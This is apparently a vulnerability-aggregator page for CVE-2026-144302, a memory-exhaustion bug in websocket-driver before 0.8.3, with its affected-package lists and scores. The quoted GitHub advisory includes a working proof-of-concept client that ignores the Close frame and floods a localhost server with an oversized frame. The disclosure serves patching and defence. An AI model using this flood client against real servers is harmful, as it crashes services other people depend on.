Every CVESearch/Get API key

CVE-2026-144302

websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame

Explain with AI
ChatGPTClaudeGoogle AI
Severity
7.5High
Network attack, no privileges, no user interactionCVSS 3.1, CVE List
Exploitation
Proof of concept
CISA reports one, no source links it
Exploit chance
0.92% in 30 days
Percentile61st
EPSS, scored
Listed fix
0.8.3 for websocket-driver
From GitHub Advisories3 other affected packages

Overview

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

CVSS 3.1 vector

Exploitability

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

Impact

Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploit chance over time

Scored once so far, on . The trend appears after a second daily score.

Affected

Packages 4

Affected packages
PackageAffectedFixed
websocket-driver
npm
before 0.8.3
0.8.3
node-websocket-driver
Debian:12
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:13
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:14
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed

Products 1

Sources

CVE List Score usedCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

Record
CVE-2026-144302
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-03
EUVDEUVD-2026-143535CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

Record
EUVD-2026-143535
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-03
GitHub AdvisoriesGHSA-pgmr-8h6h-x8vvCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame

Summary

A WebSocket server built using websocket-driver can be made to buffer data from the client beyond the limit set by maxLength, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket.

Details

When a websocket-driver instance calls close(), this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection.

If the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed maxLength. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data.

The client can abuse this to make the server buffer an indefinite volume of data, ignoring the maxLength setting, until it runs out of memory and crashes.

This was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the close() method put the parser in a state where maxLength will still be enforced, and a too-large message will result in it failing the connection.

Proof of concept

Given a server configured as follows, which responds to an incoming message by invoking driver.close():

const net = require('net')
const websocket = require('websocket-driver')

let server = net.createServer((connection) => {
  let driver = websocket.server()

  driver.on('connect', () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })
  driver.on('close', () => connection.end())

  connection.pipe(driver.io).pipe(connection)

  // the application starts the closing handshake, e.g. it rejects a message
  driver.on('message', () => driver.close())
})

server.listen(5077, '127.0.0.1')

// observation only: external memory held by ArrayBuffers (MiB)
setInterval(() => {
  let MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
  console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)

A client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's close() call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.

const net = require('net')

let socket = net.connect(5077, '127.0.0.1')

socket.write(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)

socket.once('data', () => {
  // masked text frame, FIN = 1, payload 'a' -> server replies with a Close frame
  socket.write(Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61]))

  socket.once('data', () => {
    // ignore the Close frame
    // masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1
    socket.write(Buffer.from([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0]))

    let chunk = Buffer.alloc(1 << 20)
    let flood = () => {
      while (socket.write(chunk)) {}
      socket.once('drain', flood)
    }
    flood()
  })
})

socket.on('error', () => {})

When this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.

Impact

After a server calls driver.close(), an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.

Record
GHSA-pgmr-8h6h-x8vv
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-04
NVDCVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

Record
CVE-2026-144302
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-03
OSVCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

Record
CVE-2026-144302
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-04
OSVDEBIAN-CVE-2026-144302CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.

Record
DEBIAN-CVE-2026-144302
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-04

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packages, key facts, referencesGitHub Advisories, OSV
Affected packages, other IDs, referencesNVD, OSV
Key facts, referencesCVE List
Other IDs, published dateEUVD
Other IDs, referencesNVD, OSV
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open